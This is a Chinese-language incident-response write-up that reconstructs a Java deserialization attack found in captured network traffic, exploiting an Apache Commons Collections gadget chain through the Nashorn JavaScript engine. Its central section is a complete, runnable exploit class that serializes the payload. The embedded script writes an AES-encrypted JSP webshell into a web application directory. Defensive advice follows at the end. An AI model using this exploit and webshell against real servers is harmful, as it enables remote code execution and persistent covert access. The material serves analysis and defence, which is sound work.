记一次单位应急回溯java源代码
字数 1219 2025-08-03 16:45:15
Java反序列化漏洞分析与利用:从应急响应到POC构造
背景介绍
在一次应急响应事件中,分析人员需要从一个pcap网络数据包中还原出攻击者使用的Java反序列化攻击代码。该攻击利用了Apache Commons Collections库中的反序列化漏洞,最终通过JavaScript引擎执行恶意代码。
技术分析流程
1. 数据包初步分析
- 数据包包含Java反序列化数据流
- 使用Wireshark导出字节流进行分析
- 初步判断为基于HashSet的反序列化攻击
2. 反序列化链分析
通过动态调试跟踪反序列化过程:
- 触发点:
HashSet.readObject() - 调用链:
- 进入
HashMap.put()方法 - 调用
hash()方法 - 触发
TiedMapEntry对象的hashCode()
- 进入
- 核心组件:
- 使用
TiedMapEntry包裹恶意链 - 通过
LazyMap触发ChainedTransformer执行
- 使用
3. 攻击链详细分析
攻击链包含以下关键组件:
-
Transformer数组:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{恶意JS代码}), new ConstantTransformer(1) }; -
执行流程:
- 实例化
ScriptEngineManager对象 - 获取JavaScript引擎(
NashornScriptEngine) - 执行恶意JavaScript代码
- 实例化
4. JavaScript引擎利用
- 利用
NashornScriptEngine的eval方法执行JS代码 - JS代码可以调用Java API,实现混合编程
- 示例恶意代码功能:
- 创建JSP webshell文件
- 使用AES加密通信
- 实现内存马功能
完整POC构造
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.script.ScriptEngineManager;
import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Exploit {
public static void main(String[] args) throws Exception {
// 1. 构造Transformer执行链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
new InvokerTransformer("getEngineByName",
new Class[]{String.class}, new Object[]{"js"}),
new InvokerTransformer("eval", new Class[]{String.class},
new Object[]{"java.lang.Thread.sleep(3000);\n" +
"var path = \"webapps/nc_web/\"\n" +
"var printWriter2 = new java.io.PrintWriter(path+\"1.jsp\");\n" +
"var shell = \"<%@page import=\\\"java.util.*,javax.crypto.*,javax.crypto.spec.*\\\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(\\\"pass\\\")!=null){String k=(\\\"\\\"+UUID.randomUUID()).replace(\\\"-\\\",\\\"\\\").substring(16);session.putValue(\\\"u\\\",k);out.print(k);return;}Cipher c=Cipher.getInstance(\\\"AES\\\");c.init(2,new SecretKeySpec((session.getValue(\\\"u\\\")+\\\"\\\").getBytes(),\\\"AES\\\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>\";\n" +
"printWriter2.println(shell);\n" +
"printWriter2.close();\n"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 2. 构造LazyMap触发链
Map m = new HashMap();
Map lazymap = LazyMap.decorate(m, transformerChain);
// 3. 使用TiedMapEntry封装
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "test1");
// 4. 放入HashSet触发反序列化
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
// 5. 序列化payload
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(hashSet);
oos.close();
}
}
技术要点总结
-
漏洞原理:
- 利用Apache Commons Collections的可序列化Transformer接口
- 通过精心构造的调用链实现任意代码执行
-
关键类:
InvokerTransformer:通过反射调用任意方法ChainedTransformer:将多个Transformer串联执行LazyMap:延迟执行机制TiedMapEntry:触发LazyMap的get方法
-
JavaScript引擎利用:
- Nashorn引擎允许在Java中执行JavaScript
- JS代码可以调用Java API,突破沙箱限制
- 通过
eval执行多行复杂攻击代码
-
攻击效果:
- 写入JSP webshell
- 使用AES加密通信
- 实现内存驻留
防御建议
- 升级Apache Commons Collections库
- 限制反序列化操作,使用白名单控制
- 监控异常JavaScript引擎调用
- 使用安全防护产品检测反序列化攻击
扩展学习
- 其他反序列化利用链(如JDK原生链)
- 不同JavaScript引擎的安全特性
- 反序列化漏洞的自动化检测方法
- RASP技术在反序列化防御中的应用
通过本案例可以深入理解Java反序列化漏洞的利用原理和防御方法,提升安全防护能力。